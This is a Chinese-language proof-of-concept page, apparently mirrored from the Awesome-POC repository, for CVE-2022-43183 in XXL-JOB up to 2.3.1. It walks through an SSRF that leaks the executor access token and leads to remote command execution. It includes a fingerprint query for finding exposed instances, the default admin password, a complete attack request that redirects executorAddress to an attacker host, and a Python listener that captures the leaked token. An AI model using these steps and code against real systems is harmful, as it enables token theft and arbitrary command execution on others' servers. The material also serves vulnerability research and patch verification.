mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-07 11:58:05 +00:00
145 lines
5.6 KiB
Markdown
145 lines
5.6 KiB
Markdown
|
# XXL-JOB SSRF 漏洞泄露 Token 导致 RCE CVE-2022-43183
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
XXL-JOB 是一个分布式任务调度平台，其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线，开箱即用。XXL-JOB 分为 admin 和 executor 两端，前者为后台管理页面，后者是任务执行的客户端。
|
|||
|
|
|
|||
|
|
XXL-JOB =< 2.3.1 版本的 `xxl-job-2.3.1/xxl-job-admin/src/main/java/com/xxl/job/admin/controller/JobLogController.java` 中存在一个 SSRF 漏洞，该漏洞源自 `/logDetailCat`，它直接向 `executorAddress` 指定的地址发送查询日志请求，而不判断 `executorAddress` 参数是否为有效的执行者地址。查询请求携带 `XXL-JOB-ACCESS- TOKEN`，导致 `XXL-JOB-ACCESS-TOKEN` 泄露。攻击者可通过泄露的 `XXL-JOB-ACCESS-TOKEN` 调用任意 executor，最终导致任意命令执行。
|
|||
|
|
|
|||
|
|
参考链接：
|
|||
|
|
|
|||
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-43183
|
|||
|
|
- https://github.com/xuxueli/xxl-job/issues/3002
|
|||
|
|
|
|||
|
|
## 漏洞影响
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
XXL-JOB =< 2.3.1
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 网络测绘
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
app="XXL-JOB" || title="任务调度中心" || ("invalid request, HttpMethod not support" && port="9999")
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 环境搭建
|
|||
|
|
|
|||
|
|
本地搭建 XXL-JOB v2.3.1，源码 https://github.com/xuxueli/xxl-job/archive/refs/tags/2.3.1.zip
|
|||
|
|
|
|||
|
|
环境启动后，访问 `http://your-ip:8080/xxl-job-admin/toLogin` 即可查看到管理端（admin），访问 `http://your-ip:9999` 可以查看到客户端（executor）。
|
|||
|
|
|
|||
|
|
默认口令 `admin/123456` 登录后台：
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
复现思路：
|
|||
|
|
|
|||
|
|
1. 创建一个普通用户，该用户没有 executor 权限；
|
|||
|
|
2. 搭建一个恶意 HTTP 服务器，打印请求详细信息；
|
|||
|
|
3. 使用普通用户调用 `/xxl-job-admin/joblog/logDetailCat` 接口，将 `executorAddress` 替换为恶意 HTTP 服务器地址；
|
|||
|
|
4. 恶意 HTTP 服务器将通过 SSRF 漏洞获取泄露的 `XXL-JOB-ACCESS-TOKEN`；
|
|||
|
|
5. 携带泄露的 `XXL-JOB-ACCESS-TOKEN` 调用任意 executor，执行任意命令。
|
|||
|
|
|
|||
|
|
首先，创建一个普通用户 user：
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
user/GO_7YhvzrHF4
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
以普通用户 user 身份重新登录：
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
然后，搭建一个恶意 HTTP 服务器，调用 `/xxl-job-admin/joblog/logDetailCat` 接口，将 `executorAddress` 替换为恶意 HTTP 服务器地址：
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
POST /xxl-job-admin/joblog/logDetailCat HTTP/1.1
|
|||
|
|
Host: your-ip:8080
|
|||
|
|
Content-Length: 97
|
|||
|
|
Pragma: no-cache
|
|||
|
|
Cache-Control: no-cache
|
|||
|
|
Upgrade-Insecure-Requests: 1
|
|||
|
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
|
|||
|
|
Origin: http://your-ip:8080
|
|||
|
|
Content-Type: application/x-www-form-urlencoded
|
|||
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
|||
|
|
Referer: http://your-ip:8080/xxl-job-admin/joblog/logDetailCat
|
|||
|
|
Accept-Encoding: gzip, deflate, br
|
|||
|
|
Accept-Language: en-US,en;q=0.9
|
|||
|
|
Cookie: XXL_JOB_LOGIN_IDENTITY=7b226964223a322c22757365726e616d65223a2275736572222c2270617373776f7264223a223462643033633065653631306365383332626534616266313334363535643938222c22726f6c65223a302c227065726d697373696f6e223a22227d
|
|||
|
|
Connection: keep-alive
|
|||
|
|
|
|||
|
|
executorAddress=http%3A%2F%2F<your-server-ip>%3A8888&logId=0&fromLineNum=0&triggerTime=1731464078000
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
恶意 HTTP 服务器成功获取泄露的 `XXL-JOB-ACCESS-TOKEN`：
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
最后，参考 XXL-JOB 默认 accessToken 身份绕过漏洞中的方法，携带泄露的 `XXL-JOB-ACCESS-TOKEN` 调用任意 executor，执行任意命令：
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
## 漏洞 POC
|
|||
|
|
|
|||
|
|
server.py
|
|||
|
|
|
|||
|
|
```python
|
|||
|
|
# -*- coding: utf-8 -*-
|
|||
|
|
# @Author : Threekiii
|
|||
|
|
# @Time : 2024-11-13
|
|||
|
|
# @Function: HTTP Server，打印请求详细信息，用于 SSRF 场景下从服务器获取数据
|
|||
|
|
|
|||
|
|
import logging
|
|||
|
|
from http.server import SimpleHTTPRequestHandler, HTTPServer
|
|||
|
|
|
|||
|
|
# 自定义请求处理器
|
|||
|
|
class MyRequestHandler(SimpleHTTPRequestHandler):
|
|||
|
|
def do_GET(self):
|
|||
|
|
self.log_request_details()
|
|||
|
|
super().do_GET() # 处理 GET 请求
|
|||
|
|
|
|||
|
|
def do_POST(self):
|
|||
|
|
self.log_request_details()
|
|||
|
|
|
|||
|
|
# 读取并打印请求体内容
|
|||
|
|
content_length = int(self.headers.get('Content-Length', 0))
|
|||
|
|
post_body = self.rfile.read(content_length)
|
|||
|
|
logging.info(f"Request Body: {post_body.decode('utf-8')}")
|
|||
|
|
|
|||
|
|
# 响应客户端
|
|||
|
|
self.send_response(200)
|
|||
|
|
self.send_header("Content-type", "text/plain")
|
|||
|
|
self.end_headers()
|
|||
|
|
|
|||
|
|
def log_request_details(self):
|
|||
|
|
# 打印请求的详细信息
|
|||
|
|
logging.info(f"Request Method: {self.command}")
|
|||
|
|
logging.info(f"Request Path: {self.path}")
|
|||
|
|
logging.info(f"Headers: {self.headers}")
|
|||
|
|
|
|||
|
|
# 配置日志格式
|
|||
|
|
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(message)s')
|
|||
|
|
|
|||
|
|
# 启动 HTTP 服务器
|
|||
|
|
def run(server_class=HTTPServer, handler_class=MyRequestHandler, port=8000):
|
|||
|
|
server_address = ('', port)
|
|||
|
|
httpd = server_class(server_address, handler_class)
|
|||
|
|
logging.info(f'Starting server on port {port}...')
|
|||
|
|
httpd.serve_forever()
|
|||
|
|
|
|||
|
|
if __name__ == "__main__":
|
|||
|
|
run(port=8888)
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 漏洞修复
|
|||
|
|
|
|||
|
|
该漏洞在 v.2.4.0 版本修复。
|